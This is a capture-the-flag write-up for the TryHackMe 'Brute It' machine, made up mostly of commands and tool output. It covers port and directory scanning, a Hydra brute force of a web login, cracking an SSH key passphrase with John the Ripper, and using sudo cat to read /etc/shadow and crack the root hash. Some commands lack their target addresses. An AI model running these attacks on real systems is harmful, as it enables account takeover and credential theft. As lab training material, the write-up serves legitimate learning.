TryHackMe: Brute It Writeup


We do the below scans in parallel.

1. Scanning & Enumeration

We do the below scans in parallel.

1.1. Port Scanning

Not shown: 998 closed ports
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:0e:bf:14:fa:54:b3:5c:44:15:ed:b2:5d:a0:ac:8f (RSA)
| 256 d0:3a:81:55:13:5e:87:0c:e8:52:1e:cf:44:e0:3a:54 (ECDSA)
|_ 256 da:ce:79:e0:45:eb:17:25:ef:62:ac:98:f0:cf:bb:04 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Info gathered answers the following questions:

How many ports are open?

What version of SSH is running?

What version of Apache is running?

Which Linux distribution is running?

1.2. Web Enumeration

└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x 'php,html,txt,zip' -t 64 -q -u
/index.html (Status: 200) [Size: 10918]
/{hidden_directory} (Status: 301) [Size: 314] [-->{hidden_directory}/]


  • -w: Wordlist
  • -x: eXtensions
  • -t: Threads
  • -q: Quiet
  • -u: Url

index.html is the default ubuntu homepage for apache service. Nothing special.

Search for hidden directories on web server. What is the hidden directory?

This is the directory that is hidden above.

1.3. Web Exploration

In the hidden directory we get the login panel. Looking at the source code, we get 2 interesting pieces of information:

  • name of username and password fields (useful) in bruteforcing
  • username in a comment XD
login panel, showing option to enter login and password

1.4. Brute-Force

From the source we have the variables: user and pass for username and password respectively.

hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "/{hidden_directory}/:user=^USER^&pass=^PASS^:invalid" -t 32


  • -l: for single login
  • -P: for a password list
  • http-form-post: POST request for a http form
  • the syntax for http-form-post is divided into three parts by two “:”s — as “x:y:z”
  • x: path to hidden directory
  • y: user and pass parameter specification
  • z: failure status. Note how “invalid” is a substring present in the failure message.

What is the user:password of the admin panel?

Using Hydra, we can find the password.

└─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "/{hidden_directory}/:user=^USER^&pass=^PASS^:invalid" -t 64 -vv
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra ( starting at 2021-06-09 02:16:45
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking http-post-form://{hidden_directory}/:user=^USER^&pass=^PASS^:invalid
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[VERBOSE] Page redirected to{hidden_directory}/panel
[VERBOSE] Page redirected to{hidden_directory}/panel/
[80][http-post-form] host: login: admin password: {password}
[STATUS] attack finished for (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2021-06-09 02:17:05

2. Foothold

Logging in, we get the following.

  • the web flag
  • RSA private key

Download the rsa key, save it. Change the permissions to 600, as chmod 600 id_rsa.

Trying to login gives us:

└─$ ssh -i id_rsa john@
Enter passphrase for key 'id_rsa':

We need a passphrase. For that, we use ssh2john.

└─$ locate ssh2john

└─$ /usr/share/john/ id_rsa > hash

└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 6 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
{hidden} (id_rsa)
1g 0:00:00:05 DONE (2021-06-09 02:16) 0.1876g/s 2690Kp/s 2690Kc/s 2690KC/s 1990..*7¡Vamos!
Session completed

What is John’s RSA Private Key passphrase?

Run JtR to bruteforce id_rsa’s passphrase

└─$ ssh -i id_rsa john@
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-118-generic x86_64)
* Documentation:
* Management:
* Support:
System information disabled due to load higher than 1.0
63 packages can be updated.
0 updates are security updates.
Last login: Wed Sep 30 14:06:18 2020 from

We are in!

3. PrivEsc

john@bruteit:~$ sudo -l
Matching Defaults entries for john on bruteit:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on bruteit:
(root) NOPASSWD: /bin/cat
john@bruteit:~$ sudo /bin/cat /root/root.txt

And we get the root flag!

How about the password?

john@bruteit:/$ cat /etc/shadow
cat: /etc/shadow: Permission denied
john@bruteit:/$ sudo cat /etc/shadow

We get the sha-3 hash and then crack using JtR again.

└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
{hidden} (root)
1g 0:00:00:00 DONE (2021-06-09 02:30) 5.882g/s 4517p/s 4517c/s 4517C/s 123456..james1
Use the "--show" option to display all of the cracked passwords reliably
Session completed

What is the root’s password?

We can answer this using the above



And we are done!

Originally published at



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